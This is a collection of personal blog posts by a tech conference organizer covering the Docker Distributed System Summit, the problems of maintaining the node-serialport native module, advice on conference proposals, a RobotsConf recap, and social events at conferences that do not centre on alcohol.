At the beginning of October 2016, I had the distinct pleasure of attending the first ever [Docker Distributed System Summit](https://blog.docker.com/2016/10/docker-distributed-system-summit-videos-podcast-episodes/?ref=voodootikigod.com) in Berlin, Germany. It was an incredible event that was attended by roughly 125 people from all over the world to discuss using Docker and its application for distributed systems. The event itself had a unique format with a series of deep technology focused talks on the first day, followed by a curated set of Birds-of-a-Feather group sessions and spontaneous hacking sessions on the second day . The topics of the first day were only outpaced by the evening discussions and the sessions on the following day. The team at Docker has been kind enough to [publish all of the talks](https://blog.docker.com/2016/10/docker-distributed-system-summit-videos-podcast-episodes/?ref=voodootikigod.com) so that everyone can enjoy the content; I definitely recommend reviewing them when you get a chance.
For me, this was one of the first events in a long time that I was attending as an “outsider” so I wanted to share my experience. I won’t lie, when I first entered the room, I was quite overwhelmed as it appeared that most, if not all, of the attendees already had pre-established groups and friend circles. That said, within the first couple minutes my fears were calmed by the willingness of the attendees to include me in conversations and to even start conversations with me. By the end of the first day of sessions, I felt like I was part of the community. Dinner, Berlin’s specialty Döner Kebab, and the evening party were host to many great dialogues and discussions with other attendees. There is without a doubt a tremendous amount of energy and brainpower surrounding Docker.
In an odd twist of fate, I experienced one of those rare moments when two worlds collide when I realized many of my friends from [JSConf EU](http://2017.jsconf.eu/?ref=voodootikigod.com) knew the new friends I had just made at the Docker Summit. It was one of those moments that you clearly see how small the world actually is. Special thanks to [Laura Frank](http://twitter.com/rhein_wein?ref=voodootikigod.com) and [Stephan Seidt](https://twitter.com/evilhackerdude?ref=voodootikigod.com) for providing me with this moment of amazing kismet.
The next day was a series of Birds-of-a-Feather and Q&A sessions that continued the incredible vibe of open and deeply intelligent discussions. I learned a tremendous amount about the current and future security posture of Docker, the best way to describe the new swarm mode in Docker 1.12 (versus Docker Swarm), and several other great tidbits of knowledge about deploying distributed systems. At the end of the day, I left the event far more knowledgeable, with a lot more friends that when I first entered, and a huge amount of appreciation for the Docker events team and all involved in setting up this event.
If that wasn’t magical enough, that evening, Docker Captain [Bret Fisher](https://twitter.com/BretFisher?ref=voodootikigod.com) and I were able to enjoy a wide array of homemade Bavarian dishes and some local Berlin home brewed beer by heading off the beaten path. As I headed home, I had a great conversation with [Victor Coisne](https://twitter.com/vcoisne?ref=voodootikigod.com) from Docker about amazing things happening in the community, the leadership, and the overall future for the container ecosystem. I know there are discussions about hosting more of these summit like events — if you get the chance to attend them, I would strongly suggest it!
---
# On Maintaining a Native Node Module
Published: 2015-06-25T06:11:27.000-04:00
Updated: 2015-06-25T08:20:41.000-04:00
Source: https://www.voodootikigod.com/on-maintaining-a-native-node-module
> As maintainer of node-serialport [https://www.npmjs.com/package/serialport], a native node.js module, I constantly deal with a class of tickets focused on getting node-serialport to work with other native compiled environments. I decided to write up and share the experience of a native module mainta...
As maintainer of [node-serialport](https://www.npmjs.com/package/serialport?ref=voodootikigod.com), a native node.js module, I constantly deal with a class of tickets focused on getting node-serialport to work with other native compiled environments. I decided to write up and share the experience of a native module maintainer for everyone. Hopefully this context and history helps others understand the special level of frustration that is maintaining a native node module.
Originally, node-serialport used a project called [node-gyp](https://github.com/TooTallNate/node-gyp?ref=voodootikigod.com) directly to provide the instructions for compiling the module on various platforms (Windows, Mac, Linux, etc.). While it worked (assuming all [necessary dependencies](https://github.com/TooTallNate/node-gyp?ref=voodootikigod.com#installation)) it was a nightmare for doing any form of mass installation because undoubtably the necessary dependencies (build tools, compiler, etc) were never installed. The node-serialport project quickly became swamped with tickets about how to install on Windows, Mac, and Linux.
Due to this, we moved to using a project called [node-pre-gyp](https://github.com/mapbox/node-pre-gyp?ref=voodootikigod.com), which allowed us to utilize pre-compiled binaries if they exist from a known location and fallback to the local build process if they do not. This was hooked into an elaborate build system using Travis-CI and AppVeyor to generate the necessary compiled versions for Windows, Mac, and Linux on each release published to npm.
Things were happy at this point since people using Windows, Mac, and Linux without the build components could easily use node-serialport without even being aware of its native module nature.
During this time period, the project formerly named [node-webkit](https://groups.google.com/forum/m/?ref=voodootikigod.com#!msg/nwjs-general/V1FhvfaFIzQ/720xKVd0jNkJ), now [nw.js](http://nwjs.io/?ref=voodootikigod.com), started to evolve and gain traction. It utilized its own derivative fork/hack from node-gyp in order to build the necessary native componets which was named nw-gyp and this choice had ramifications that [affected the compilation of other native modules](https://github.com/nwjs/nw.js/wiki/Build-native-modules-with-nw-gyp?ref=voodootikigod.com). Needless to say, as people began trying to use it in combination with the node-serialport project things did not work smoothly. Until the NW.js team published the previously linked instructions for node-gyp and node-pre-gyp, this project was blamed for incompatibility and many issues were filed.
Then the [Atom](http://atom.io/?ref=voodootikigod.com) editor was released. The Electron team that maintains the application framework around the Atom Editor updated to the [latest version of Chromium](https://github.com/atom/apm/issues/189?ref=voodootikigod.com) around September, 2014, which consequentially broke compatibility with any and all node-gyp compiled modules. Similar to NW.js, the Electron team [posted details](https://github.com/atom/electron/blob/master/docs/tutorial/using-native-node-modules.md?ref=voodootikigod.com) about how build Electron with other native modules, but those native modules mostly were not aware of this. As such, many issues were filed against this and other project concerned about the compatibility of that project when they try to integrate with Electron.
The general node.js leadership has not openly discussed this mainly because they do not maintain end-user facing native modules, honestly there aren't a tremendous number of them. I can't begin to tell you how many times I have been told that I should just use the built-in `tty` module, as if I hadn't tried that and many other options before. For those of us that do maintain a native module, the constant hamster wheel is enough to drive one insane. Until a maintainer can explore the other project, there is a very real sense that it could be the fault/issue/incompatibility of the project being maintained since Node.js, io.js and the ecosystem changes so quickly and its too much to keep up with. At this point, here is the general state of the world:
- **node-gyp** is the de-facto build standard for Node.js and native modules. All things should be compatible with node-gyp at a minimum or else it should be considered out of compliance.
- **node-pre-gyp** since it is an enhancement beyond node-gyp by adding pre-compilation and retrieval, it should be considered as part of the compliance suite for any native module.
- **nw-gyp** to my knowledge is only used by NW.js and as such should ensure that it or application that includes does not break compliance with node-gyp or node-pre-gyp. That is currently not the case however and inclusion of node-gyp and node-pre-gyp modules still require [special handling](https://github.com/nwjs/nw.js/wiki/Build-native-modules-with-nw-gyp?ref=voodootikigod.com).
- **Atom-Shell/Electron** is currently not compliant with node-pre-gyp due to the way that it identifies its node execution version and environment. That said, the node-pre-gyp maintainers are working on a way to make node-pre-gyp modules work with Electron. There is currently an [outstanding pull request](https://github.com/mapbox/node-pre-gyp/pull/112?ref=voodootikigod.com) that will provide support for this variation handling. Until that pull request is merged in, continue to use the [instructions](https://github.com/atom/electron/blob/master/docs/tutorial/using-native-node-modules.md?ref=voodootikigod.com) provided by the Electron team.
Specifically for node-serialport, as the prime maintainer I will not be merging in modifications that take this project backwards (ala reverting to node-gyp). Also, I will not be integrating special cases to support new native environments that have broken compatibility without thorough testing in every execution environment we already support.
In summary, maintaining a native module in node.js is a constant battle. The node community needs to hold projects that break native compilation compatibility accountable by encouraging those projects to ensure node-gyp and node-pre-gyp modules can still be included without issue or failure.
---
# Ask A Tech Event Organizer (AATEO)
Published: 2014-01-15T10:16:23.000-05:00
Updated: 2014-01-15T10:16:23.000-05:00
Source: https://www.voodootikigod.com/ask-a-tech-event-organizer-aateo
> In general, conference organizers have a wealth of information about their own specific event, which often ends up siloed away from others for various reasons. At the same time, organizers often have no idea what non-conference organizers, starting conference organizers, or even other similar confer...
In general, conference organizers have a wealth of information about their own specific event, which often ends up siloed away from others for various reasons. At the same time, organizers often have no idea what non-conference organizers, starting conference organizers, or even other similar conference organizers might know or not know. This makes it incredibly hard to share bits of hard earned wisdom with one another without seeming overbearing, overly-assertive, or prideful. This can, and arguably has, created a rift between tech event organizers and the community of people they hope to properly serve - one that is absolutely better removed so both sides can help each other.
In an effort to help break down the barriers between the shadowy, behind-the-scenes conference organizer and the wide world of attendees and organizer-curious, I am putting forth a new site [Ask A Tech Event Organizer](http://www.aateo.com/?ref=voodootikigod.com), AATEO for short, as a place for you to ask and get answered any question you might have about the organization of tech events. Responses will be either made by myself, Chris Williams ([@voodootikigod](http://twitter.com/voodootikigod?ref=voodootikigod.com)), or an appropriate guest organizers and will be posted (for now) to this very blog with the title prefix of "AATEO". This may change as we may find that other sites or workflows are better, but for now this is what I have to offer up as an initial effort. Thoughts and feedback are definitely welcome.
I encourage you to ask anything as long as it pertains to tech events. The questions do not need to limited or scoped to my experience or events as I will be reaching out to other conference organizers for their support in answering questions. Given the nature of this, we do offer the ability for one to submit a question anonymously or with a provided email address. Also, questions can be marked as explicitly requiring privacy or sensitivity (with instructions) and if so marked and an email is provided, we will email the response directly and ensure the privacy and sensitivity of the dialog. Otherwise, the question and response will be formally presented as described above over time.
All responses are provided as experience-based recommendations and not as assertion. All participating organizers do acknowledge and want to explicity express upfront that there is no one, absolute correct way to organize a tech event. We always want to encourage you to create events in your own voice and from your own experience. The provided responses are based on the individual organizer's experience and not intended to be a final, one-size-fits-all solution to the question.
[Ask away!](http://www.aateo.com/?ref=voodootikigod.com)
---
# An Addendum About Conference Proposals
Published: 2014-01-13T16:58:17.000-05:00
Updated: 2014-01-13T17:07:58.000-05:00
Source: https://www.voodootikigod.com/an-addendum-about-conference-proposals
> Over the weekend, Raquel Vélez (@rockbot [http://twitter.com/rockbot]) authored a fantastic post about if your conference proposal is good enough [http://rckbt.me/2014/01/conference-proposals/]. You owe it to yourself to go and read through the entire post, take a break, and read it again if you eve...
Over the weekend, Raquel Vélez ([@rockbot](http://twitter.com/rockbot?ref=voodootikigod.com)) authored a fantastic post about if your [conference proposal is good enough](http://rckbt.me/2014/01/conference-proposals/?ref=voodootikigod.com). You owe it to yourself to go and read through the entire post, take a break, and read it again if you ever plan on OR already do apply to speak at events. Also, you should already have the excellent guides at [We Are All Awesome](http://weareallaweso.me/for_speakers/?ref=voodootikigod.com) by [Tiffany Conroy](http://twitter.com/theophani?ref=voodootikigod.com). Please use these resources, it makes your chances of acceptance multiples better AND makes our life as organizers much easier.
I have been in the thick of conference proposal categorizing, scoring, ranking, and selecting since we closed the CFP for [JSConf US 2014](http://2014.jsconf.us/?ref=voodootikigod.com), but wanted to add a couple more things onto her list. My perspective and advice comes strictly from my recent and historical experiences, so please take it with a grain of salt (as you should with everything on the Internet). I will upfront admit that my curation process is unique from most events in that I am specifically trying to find unknown talented individuals to present unheard of concepts. That said I have noticed some trends that I don't think are limited just to our curation process and as such through that now was a great time to mention some of them. Please bear in mind, all of these are in supplement to the previously mention lists and recommendations - not replacement.
### Yes
**DO** take the time to understand the conference, its goals, and then be sure to tailor your submission to its audience. Blindly submitting conference proposals to events is spammy and easily detectable to a review committee. Most conferences are trying to focus on something, make sure you know what that is and check if your ideas match it OR if they don't but you still believe that audience needs to hear it -- make that known upfront, clearly, and unapologetically. The basic metrics with which organizers (so in this case myself) evaluate the "applicability" of a talk is if the following metrics match:
- Skill level of audience versus skill level of talk.
- Technology focus of conference versus technology focus of talk.
- Content uniqueness versus content that is already available freely on YouTube.
As mentioned, if you are doing something that might be a mismatch from the conference's target, please make it known that it is intentional and thoughtfully done. Do not apologize that it is "different", instead make it known and be proud that it is and that you are wanting to address it. Great examples of these are:
- Community issues
- Professional growth and development issues
- Societal/political issues and methods for change
- Education
**DO** provide a detailed, but concise description of your talk. The average length of selected talks for my events is about 120 words. Understandably, this is a delicate balancing act between being too verbose and being not expressive enough. The way I would approach this is to find another person, read the proposal to them, then ask them to tell you what it is about. If they say EXACTLY what you said, its not a good proposal, if they INTERPRETED and responded in their own words what you said, it is a good proposal. If you are going to error, always error on the side of presenting more details instead of hoping for [tacit knowledge](https://en.wikipedia.org/wiki/Tacit_knowledge?ref=voodootikigod.com) to work, because it never does.
**DO** take any and every chance to show why you are the best presenter for the conference. This is not limited to the CFP application, but can easily fit in a biography portion. First time conferences live and die by the volume of discussion and publicity of the event. If you have a bit of social clout and make it known that you will help promote the event, huge win. If it is a more established conferences, offering to help support the event or connect up with potential sponsors is a amazing. Conferences are very hard to organize and almost impossible to pull off, so as a speaker one of the biggest advantages you can express is that you aren't just going to take the speaker package, show up, and then hide in your room. Things like this go a long, long, long way in terms of making proposals stick out and shine:
- Offer to help run a birds of a feather to deep-dive your topic after the talk
- Offer to help with setup and tear down
- Describe how much preparation and effort will be involved (in cases where it is) to get right
- Definitely offer up your willingness and understanding that your presentation is yours to make awesome and that you are willing to put in the time and effort with the AV team to ensure everything is rainbows.
- Just convey that you care about your talk, the conference, and the community.
### No
**DON'T** rely on your name or experience. For JSConf US, I have always had an explicit focus on finding new speakers, unheard of talks, and crazy ideas. It wasn't until this year that I started to realize this wasn't just a focus that I created on my own, but a re-enforced concept that comes when you hide names/biographies from the selection process. Individuals who see themselves as accomplished trend strongly to a reliance on their name or their work product to carry them through the CFP selection process. Please note, this is not all accomplished individuals, just enough to be noticeable over a long period of time and with a statistically relevant bank of proposals. If you are talking more about yourself then your talk, try to refocus the proposal on the intended content (unless your proposal is about your personal experience, then obviously ignore this).
If you are accomplished, it should not garner you any positive benefit in the selection process and for some organizers (myself included) it actually comes with a negative selection. I expect accomplished, widely spoken applicants to provide far superior proposals over those that are new to speaking. Unfortunately, I have noticed that the trend of proposals points to the opposite. If you have spoken at events, you owe to yourself and your audience to continue pushing, evolving, diving further, and presenting ever more meaningful talks. You must be able to convey that you will be doing far more than simply hitting repeat on a talk from 2010. Why? Simply because an attendee can watch that talk on YouTube for free, so the value of that talk is constantly in decline as more people see it... for free. In short, care about what you submit and don't assume that just because it worked before, you can replay it.
---
# RobotsConf: The Future of Tech Events
Published: 2013-12-13T12:00:00.000-05:00
Updated: 2013-12-14T11:07:44.000-05:00
Source: https://www.voodootikigod.com/robotsconf
> > “You should never, never doubt something that no one is sure of.” Roald Dahl, Charlie and the Chocolate Factory It is rare for me to want to write a blog post after an event that I have helped organize, but with RobotsConf I am beyond compelled to do so. This event was much more than a standard te...
> “You should never, never doubt something that no one is sure of.”
> Roald Dahl, Charlie and the Chocolate Factory
It is rare for me to want to write a blog post after an event that I have helped organize, but with RobotsConf I am beyond compelled to do so. This event was much more than a standard technology conference and that includes it predecessor, JSConf (any and all of them). When I first had the crazy idea of running a full conference around bridging the web and software world with the wide world of hardware and making, many thought I was crazy -- hell I thought I was crazy. [Laura](http://twitter.com/lwilliams?ref=voodootikigod.com) was possibly the only person who had complete faith in me and kept the idea alive when I would have otherwise let it pass. The event became a massively different and better thing than I originally envisioned and that is a great thing. I wanted to detail some of the finer points that the attendees, speakers, and organizers may have witnessed, but others not at the event might have missed.
### Diversity
Leading up to the event, I was very proud that we had accidentally created a first-time event with greater than 35% speakers that were non-male. Most conference organizers complain that getting a single non-male speaker is “impossible”, especially for a first time event, but with RobotsConf I can confidently say that it is not impossible and to be honest not even that hard. We derived our speaker list through an open call for makers followed by a blind selection process and it was admittedly accidental that we came to the ratio we did. I have no evidence or knowledge as to why this happened, but wanted to report that it had.
More awesome and impressive still, our attendee ratio of self-specified "women" shirt size to "unisex" shirt size was 25% to 75%, respectively. We did not attempt to count at the event, but we did note that a handful of non-male attendees did select unisex shirts, which was only known at time of registration. This gave the audience an incredibly unique atmosphere from every other tech event I have been part of. We did not want to focus on that leading up to or during the event, because this is how things should be, or better still, how they should be at worst case. I wanted to highlight several tweets from the event that encapsulate the atmosphere.
> Been to a lot of confsso far, and I'm pretty sure [@RobotsConf](https://twitter.com/RobotsConf?ref=voodootikigod.com) has the highest ratio of non-male attendees I've ever see for a tech event.
>
> — Angelina Fabbro (@angelinamagnum) [December 6, 2013](https://twitter.com/angelinamagnum/statuses/408978350791618560?ref=voodootikigod.com)
> my favorite part of [@robotsconf](https://twitter.com/RobotsConf?ref=voodootikigod.com) by far was the incredible diversity among speakers/attendees/domain experts.
>
> — Andrew Stewart (@andrewstwrt) [December 9, 2013](https://twitter.com/andrewstwrt/statuses/410175266204680192?ref=voodootikigod.com)
> [@voodootikigod](https://twitter.com/voodootikigod?ref=voodootikigod.com) No one at this conference has been disrespectful, rude, or demeaning. It's (honestly, but unfortunately) a first. Thanks :)
>
> — Paige Bailey (@DynamicWebPaige) [December 7, 2013](https://twitter.com/DynamicWebPaige/statuses/409250287027638272?ref=voodootikigod.com)
Even more awesome still was the wide range of diverse ethnic and geographical locations of our attendees for this very new and very unknown event. Our attendees made the journey to Amelia Island, FL from Denmark, Columbia, Canada, Brazil, Guatemala, Mexico, Myanmar, and Australia and almost all of the 50 states. Despite the wide spread of distance and differences that the attendees came from, once they arrived at RobotsConf there was an immediate sense of community and family. Every attendee was present with the same intent, whether explicit or implicit, and here is the best part, that intent had nothing to do with robots, but rather to make friends building robots. This intent was best exemplified by how many people worked throughout the night -- many well past the 1:30AM closing time of the actual hackerspace in their own hotel rooms.
I couldn’t be more proud of the attendees that made this event so magical.
That said, one thing I wanted to mention, mainly because of all the trite and useless in-fighting that does take place on the internet, was the diversity of programming languages and experiences. Our audience was not tailored or focused to a single language as most events do (XRubyConf or Y.JS or ZPyCon) but embraced, welcomed, and was better served by the presence of all languages. The most surprising occurrence, after the fact, for me, was the complete lack of language or platform religious battle or fighting. Teams were made of individuals, using all/any editor, fluent in a variety of languages, and from wide disparities of experience — but none of that mattered as they all created amazing things in under 16 hours of effort. It did not matter one bit whether you preferred Windows to Linux to Mac or Sublime Text to VIM to Emacs, everyone was focused on one single thing — doing epic stuff. For me, this one of of the happiest, most awesome things from RobotsConf and filled me with hope for our ‘tech community’. There is a better world where bickering about language, editor, or other non-sensical details does not matter, and that world is coming -- fast.
### Changing The Next Generation
If you have been within shouting distance of me for the last 3 years, you probably know of my firm belief that we have to invest in [http://stemtosteam.org/](STEAM) education programs for the next generation. Furthermore, I would contend, that we should improve education by way of actually becoming mentors and friends with the next generation so as to provide them a broader, more robust, and often times more fun vision of the real world than what current educational systems provides.
RobotsConf was the perfect canvas to not just present, but actually highlight people who are living this dream. We kicked off the conference with two talks, the second of which was [Sylvia](http://sylviashow.com/?ref=voodootikigod.com) ([@MakerSylvia](http://twitter.com/MakerSylvia?ref=voodootikigod.com)) and James Todd ([techninja42](http://twitter.com/techninja42?ref=voodootikigod.com)), a father-daughter team of awesome beyond belief talent. If I could pinpoint three people that truly made and embodied RobotsConf, it would be them and Pawel Szymczykowski (more about him later). The pair had built a [watercolorbot](http://watercolorbot.com/?ref=voodootikigod.com) that was presented before the [President of the United States](http://sylviashow.com/blog/super-awesome-sylvia/2013/04/27/my-crazy-dc-adventure?ref=voodootikigod.com) and actually kickstarted the idea of RobotsConf due to a [ticket they filled against node-serialport](https://github.com/voodootikigod/node-serialport/issues/162?ref=voodootikigod.com). They were not unique at the event, though, as we had at least four other family teams at the event which made it extra special for us, since the event was organized by a family. [Douglas Campos](http://twitter.com/qmx?ref=voodootikigod.com) and his son not only attended, but walked away as winners of RobotsConf with their Leap Motion controller robotic finger. Our hope is next year we have even more family teams.
At the close of RobotsConf focused on how attendees can take from here and give back to their world ([Kawandeep Virdee](http://robotsconf.com/pages/speakers.html?ref=voodootikigod.com#virdee)), their work ([Marc Goodner](http://robotsconf.com/pages/speakers.html?ref=voodootikigod.com#goodner)), and the next generation ([Wei Lau](http://robotsconf.com/pages/speakers.html?ref=voodootikigod.com#lau)) through actions. Following suit, we donated $2,000 USD to the [US STEM Foundation](http://usstem.org/?ref=voodootikigod.com) to truly put our money where our mouth, but more importantly our hearts, are. We encourage you to do the same and either donate time, money, hardware, or some combination of those to your local community. Help mentor individuals whether through a formal program like the US STEM Foundation or just informally with your neighbors. Go out, build, and share.
### Making Circuits
> Using [http://t.co/BllOz1nsQG](http://t.co/BllOz1nsQG?ref=voodootikigod.com) as ice-breakers at [@RobotsConf](https://twitter.com/RobotsConf?ref=voodootikigod.com) [#robotsconf](https://twitter.com/search?q=%23robotsconf&src=hash&ref=voodootikigod.com) … [https://t.co/quiCCL9OzL](https://t.co/quiCCL9OzL?ref=voodootikigod.com)
>
> — Andy Gelme (@geekscape) [December 6, 2013](https://twitter.com/geekscape/statuses/408803220031422464?ref=voodootikigod.com)
As with JSConf, we set out to build a tech event not just for technology's sake, but for the blend of human social and deep technical aspects. RobotsConf was a fresh space to attempt crazy ideas and see how they would work, but we were bound by budget constraints (as are nearly all first-time community events). We had to be creative with ideas, while rekindling older, established, "sure-win" ideas. Our opening party was much like many first run conferences, hold the event at a restaurant, provide appetizers and a drink and let people mingle. We weren't happy with that idea on its own -- it is used everywhere, so we added a RobotsConf spin by providing each attendee with a [LittleBit](http://littlebits.cc/?ref=voodootikigod.com) upon entering. This unique idea set the tone for the entire event -- we are all here to share, experiment, and make friends. It turned a "typical bar" into a wonderful, contextually appropriate circuit building event as people would match up and build crazy things, all the while meeting one another.
Every last detail of RobotsConf was focused on making bridges between programming languages, between people, and between electrical components. We left little to no idea unexplored and tried from the very start to make it abundantly clear that the only failure at RobotsConf is not even trying. That applied to not just robot building, but to everything. Angelina Fabbro captured our sentiment perfectly with this tweet:
> "Rules" for [@RobotsConf](https://twitter.com/RobotsConf?ref=voodootikigod.com): 1. Experiment 2. Imagination first 3. No failure, only learning + iteration 4. Get outside your comfort zone
>
> — Angelina Fabbro (@angelinamagnum) [December 6, 2013](https://twitter.com/angelinamagnum/statuses/408979999622828032?ref=voodootikigod.com)
The science fair was designed to provide everyone a platform to stand up and present -- successful construction or otherwise -- what they had accomplished. The campfires allowed people to talk about anything in an intimate, welcoming, and open environment. The sumobot competitions ended up being even more humorous than we could possibly have imagined. Our sponsors that provided hardware got a once in a lifetime chance to see people use, and in some cases break, their components -- only to together help build them even better. In every aspect there was an ethos of experimentation and friendship -- the combination of which produced an event the likes of which I have never experienced until RobotsConf. This was not passive information dissemination, this was active future creation and challenging of expectations.
### More Human Than A Human
RobotsConf was far more about doing than it was about passively hearing lectures. While we did open and close the event with lectures, we placed the highest burden on our workshop guides and domain experts. They deserve a tremendous degree of appreciation from all of us as their dedication, drive, and patience was what made the event possible. Our speakers and guides pitched in from the very start and helped at every single turn, pitfall, and moment of doubt. They were a huge support to us throughout the entire process and I hope we retain that spirit for every RobotsConf we attempt. If you have ever run or been near someone running a first time conference, you know it can be a daunting task. Income from tickets and sponsors rarely matches the targeted expenses to create the event you envision, and we were only able to do so because of 1) [awesome sponsors that stepped up](http://robotsconf.com/pages/sponsors.html?ref=voodootikigod.com) (seriously much love for each of you) and 2) our speakers offered to help out in many ways including getting their own companies to cover travel and lodging expenses (and even more). I have had a huge smile on my face since the first day speaker acceptances came in due of outpouring of dedication and help that came from our speakers and guides.
As hinted at before, one of our guides went above and beyond even our wildest expectations and definitely deserves a huge amount of gratitude, Pawel Szymczykowski ([@makenai](https://twitter.com/makenai?ref=voodootikigod.com)). Pawel had laser cut a slew (like 20+) [Sumobot Jr.](https://github.com/makenai/sumobot-jr?ref=voodootikigod.com) kits so that when the doors opened, he would be right there ready to help people build sumobots. He did this on his own time and money, but he didn’t even stop there. He went ahead and laser cut horns, antlers, arms, heads, and other various additives to allow people to truly make their sumobot as crazy as they may desire.
If that wasn’t enough, he notified the week leading up to RobotsConf that he had cut his thumb clean off and was in the hospital. Most others, myself included, would have thrown the hat in and said that flying across country with a literally fresh reattached thumb would be insane - Pawel did not hesitate. Not once did Pawel let his massive hand wrap prevent him from doing anything and, more importantly, help anyone in their quest to build robots. Throughout the event, I would try to run over and help whenever I could, but he would have nothing of it. If there ever was a heart of this event, it would, without a doubt, be Pawel.
### Thank you
Thank you everyone that attended, sponsored, and/or helped with RobotsConf. There was so many great things that happened over such a short period of time from the swarm of impromptu flying copters to the energy and dedication of the speakers and guides to the unsure-if-autonomous-or-not roaming robot to the amazing science fair and sumo bot competitions — we cannot wait for RobotsConf 2014.
[](http://robotsconf.com/img/familyphoto.jpg?ref=voodootikigod.com)
I started this post with a quote from one of the most whimsical and fascinating pieces of literature that to this day still inspires me when trying to organize tech events. The quote has great meaning for this event specifically as there were, admittedly, moments of doubt, but in the end those seem silly. Have faith in your dreams, especially those no one is sure of. Robot Onward!
---
# Our Culture of Change
Published: 2013-10-24T11:00:00.000-04:00
Updated: 2013-12-14T11:09:04.000-05:00
Source: https://www.voodootikigod.com/our-culture-of-change
> Or How Conference Organizers Can Be The Agents of Change tl;dr: Here is a new model for an amazing conference that is very inclusive of all individuals, take from it and make your events better. Near the end of JSConf US 2012 [http://2012.jsconf.us], a blog post painted the world of tech conferenc...
**Or How Conference Organizers Can Be The Agents of Change**
_tl;dr:_ Here is a new model for an amazing conference that is very inclusive of all individuals, take from it and make your events better.
Near the end of [JSConf US 2012](http://2012.jsconf.us/?ref=voodootikigod.com), a blog post painted the world of tech conferences as nothing more than lightly veiled binge drinking events analogous to fraternity parties. The post went so far as to specifically name individuals, including myself, and contort statements and extract quotes without context to make it fit the intention of the post. While I, and many others, strongly disagree with that portrayal and many of the items levied against the conference scene and community at large, I believe that all feedback has some amount of truth to it. Some organizers took it as an insult and sought to prove it wrong by adding more alcohol; others chose to ignore it completely. With JSConf US I took a different route and would like to share our efforts in order to help others not just in this scenario, but as model for any seemingly painful feedback to a organizer.
## Handling Difficult Feedback
The technology community is one of constant upheaval and revolution with battles and drama drawn out across public channels almost every day. While this specific topic (alcohol at tech events) is at the forefront of discussion, I know it won't be the last for us or for any conference. As such, I wanted to share our experience in the hopes that others can learn from our trials and faults and do better. Please bear in mind, these are not assertions or best practices only a sharing of experience, your mileage will definitely vary just as your path varies drastically from ours.
Before proceeding, I want to make it abundantly clear that I was disappointed and hurt by the manner in which the original feedback was provided. Despite that pain, I did directly reach out to the author and apologized for hosting an event at which they felt any level of exclusion. I did attempt to clarify many of the invalid accusations and claims in the blog post and requested that the author make it known that we had spoken. It is unfortunate that, to date, such notice has not been made known anywhere on the blog post. I fear that continuing this trend of exaggerated, one-sided, public "call-out" criticism will create a culture of fear for conference organizers, ultimately resulting in a community lacking physical meetup opportunities – at which point, everyone is excluded. I would like to encourage you, the reader, to think about ways they can better provide and respond to feedback in all forms and eventually we can improve this for all, including ourselves.
Feedback for conferences generally come in a single format, that of an armchair quarterback throwing "sage wisdom" from never having executed an event, but, with the power of Twitter, is able to express what seems like the voice of many. It is very easy to discount such feedback because it is littered with enough partial truths, hyperbole, or completely wrong information that many simply discount it as all wrong. I would suggest the best action is:
1. Take the feedback for what it is, an individual's evaluation of your event.
2. Remove the wrong or misguided components and, if there is any, any hostile or overly aggressive terms or insults.
3. Finally, determine how you can address the core concern to make your event even better.
Through this process, I created an incredibly more fulfilling and inclusive event as part of an effort to address this concern. One of the important things that the blog post identified to me was that from the time from when I first started out JSConf to now, I had helped create, establish, and influenced many events in our own image. The uniqueness of our event had dissolved away in our constant effort to improve the model that determines the experience for our attendees not only at our events, but at technology conference everywhere. Until that point in time, our only feedback was "how will you make this even better" every single time. This echo chamber needed to be shattered, because as an event organizer OR a sponsor of events, you respond to the feedback that is made known and as such continue down the same track for not just us, but for many events.
Our initial response, like many was to resist the urge to change and hold strong. This didn't sit well with me; I firmly believe challenges like this, even those that hurt deeply, are the chance for conference and event organizers to shine. It is in these moments that our culture of change becomes very apparent, because unlike other industries we share openly and willingly. We strive constantly to improve and make better for all. The technology community, flawed though it may be, has a strong ability to address and, often through trial and error, fix and eventually optimize issues.
## A New Model For Conferences
Much like we do with source code, I would like to openly offer the conference model utilized for [JSConf US 2013](http://2013.jsconf.us/meet-jsconf?ref=voodootikigod.com) as a way to address and eventually reduce any exclusionary culture (alcohol or otherwise) present at technical conferences and, in doing so, create a safer and more inclusive environment.
### Evening Socials
To start, we retained evening events because we absolutely and firmly believe that conferences are not just about lectures or information dissemination, but about the social aspects of meeting and talking face-to-face with other members of the community. That said, we distilled the feedback provided that loud, alcohol heavy social scenarios are not conducive for the original intention of the evening events -- just talking. We refocused on that idea of "just talking" and created events that would far better afford that intention. For us, we put forth a beach dinner, a family block party, and a southern-style BBQ festival. All of these events were open to family members, both young and old, and really created an atmosphere of togetherness and of open social communication without the crutch of alcohol. That is not to say there wasn't alcohol, but rather that alcohol wasn't the focus or feature of the event. It was merely available much like all other beverages and was available in a situation that actually put pressure on people that do drink to behave properly, unlike a bar which has the tendency to do the opposite.
The model was a huge success and everyone who attended provided incredibly positive feedback, but the most important thing for me was that it finally felt sustainable and fulfilling. There was no constant push of "one-upping" ourselves, because the real magic was not in the additives to the event itself, but in attendees of the event themselves. We are using this change for the upcoming [RobotsConf](http://robotsconf.com/?ref=voodootikigod.com) and will continue to embrace and grow this model for as long as we do conferences.
I do not want to put forth a new a model without examples of events that other organizers can use, so here are some of my suggestions:
- A movie night that can be done at a theater OR (as we are doing for RobotsConf) outside in a field using nothing more than a laptop, projector, speakers, and screen -- all of which a conference will have by default. Organizers can provide popcorn, candy bars, hot cocoa, and blankets to sit on in order to recreate the feel and excitement of a movie theater (if not at an actual theater).
- A block party with hot dogs, hamburgers, and veggie burgers (for our vegan/veggie friends -- cooked on a seperate grill, please). You can enhance this with whatever accoutrements are appropriate for your area (boiled peanuts, sweet potato fries, etc.)
- An ice cream party with gallons of various ice cream and toppings (again, please remember to have alternatives for our lactose-intolerant, paleo, or vegan friends).
- A dinner style event, whether all at once in a large family style as JSConf US did, or as the amazing, but now over [Realtime Conference](http://2013.realtimeconf.com/?ref=voodootikigod.com) did in letting people decide from a handful of recommended places with a Prix fixe menu of different levels to accommodate all attendees.
- Campfires are an incredibly easy to accomplish, cost-effective, and high value addition to events that really encourage people to talk and does not rely on more than firewood, graham crackers, marshmallows, and chocolate.
- Host an arcade night with multicade or other video game cabinets which allow attendees to enjoy the beauty of 8-bit gaming once again. This could be coupled with other traditional board games to create a full game night.
The general working theory I have with these new events is to recreate experiences from my younger self that are most likely similar shared experiences for others. To focus attendees' attention on something that all can enjoy is an incredibly positive influence for avoiding potentially problematic or hazardous situations. It almost goes unrecognized, unnoticed, and possibly unappreciated except that the huge smile on everyone's face paired with the incredible conversations and friendships clearly happening make it very apparent, this is a much better existence. Please note, this does not mean an organizer has to create an environment devoid of legal adult substances, rather just not focused or centered around those substances.
